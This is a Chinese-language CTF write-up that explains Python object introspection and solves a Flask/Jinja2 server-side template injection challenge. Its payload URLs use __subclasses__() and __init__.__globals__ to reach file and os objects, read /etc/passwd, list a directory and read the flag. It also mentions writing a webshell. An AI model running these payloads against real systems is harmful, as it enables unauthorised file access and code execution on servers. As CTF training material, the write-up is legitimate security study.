题目来源
知识点介绍
Python模板注入
又称SSTI,flask是使用Jinja2来作为渲染引擎的,不正确的使用flask中的render_template_string
方法会引发SSTI.被{{}}包裹的变量可以被执行
__class__ 返回类型所属的对象
__mro__ 返回一个包含对象所继承的基类元组,方法在解析时按照元组的顺序解析。
__base__ 返回该对象所继承的基类
// __base__和__mro__都是用来寻找基类的
__subclasses__ 每个新类都保留了子类的引用,这个方法返回一个类中仍然可用的的引用的列表
__init__ 类的初始化方法
__globals__ 对包含函数全局变量的字典的引用
__builtins__ builtins即是引用,Python程序一旦启动,它就会在程序员所写的代码没有运行之前就已经被加载到内存中了,而对于builtins却不用导入,它在任何模块都直接可见,所以可以直接调用引用的模块
题解
题目中含有关键信息 python模板注入
测试如下url
http://111.200.241.244:56780/{{1+1}}
发现变量被成功执行,返回结果如下

思路:
- 获取os,file等关键对象,执行敏感操作
- 先找到object,再他的子类(__subclasses__())里面找上述关键对象
- 第二步找不到时,使用__init__.__globals__继续向下寻找
__class__ 返回当前实例化的类的对象 空字符串''的对象是str
使用以下命令
http://111.200.241.244:56780/{{''.__class__}}
返回结果为,空字符串''是一个str类的实例化

__mro__ 返回当前类的继承关系
__base__ 返回当前类的父类
http://111.200.241.244:56780/{{''.__class__.__mro__}}
http://111.200.241.244:56780/{{''.__class__.__base__.__base__}}

可以看到str继承自basestring继承自object
Tips: basestring是str的超类,只在python2.3以后的版本有,但是python3没有此类,说明代码后端是Python2.版本*
__subclasses__() 返回类的所有存活的子类的引用
http://111.200.241.244:56780/{{''.__class__.__base__.__base__.__subclasses__()}}
返回结果如下 ,可以在返回的list中寻找file和os

经过寻找,找到了file,在第41个位置,未找到os,可以使用下面的payload操作文件,可以写入webshell,也可以写入密码,配置免密登录
http://111.200.241.244:56780/{{''.__class__.__base__.__base__.__subclasses__()[40]}}
# 尝试读取/etc/passwd文件
http://111.200.241.244:56780/%7B%7B''.__class__.__base__.__base__.__subclasses__()[40]('/etc/passwd').readlines()%7D%7D

刚刚第二步的操作未找到os,继续向下寻找__init__.__globals__
http://111.200.241.244:62005/{{''.__class__.__base__.__base__.__subclasses__()[71].__init__.__globals__}}
返回一个dict,找到os,使用如下payload列出目录下的文件

http://111.200.241.244:62005/{{''.__class__.__base__.__base__.__subclasses__()[71].__init__.__globals__['os'].listdir('.')}}

找到flag文件,使用刚刚的file读取
http://111.200.241.244:62005/{{''.__class__.__base__.__base__.__subclasses__()[40]('fl4g').read()}}

得到flag
ctf{f22b6844-5169-4054-b2a0-d95b9361cb57}
网友评论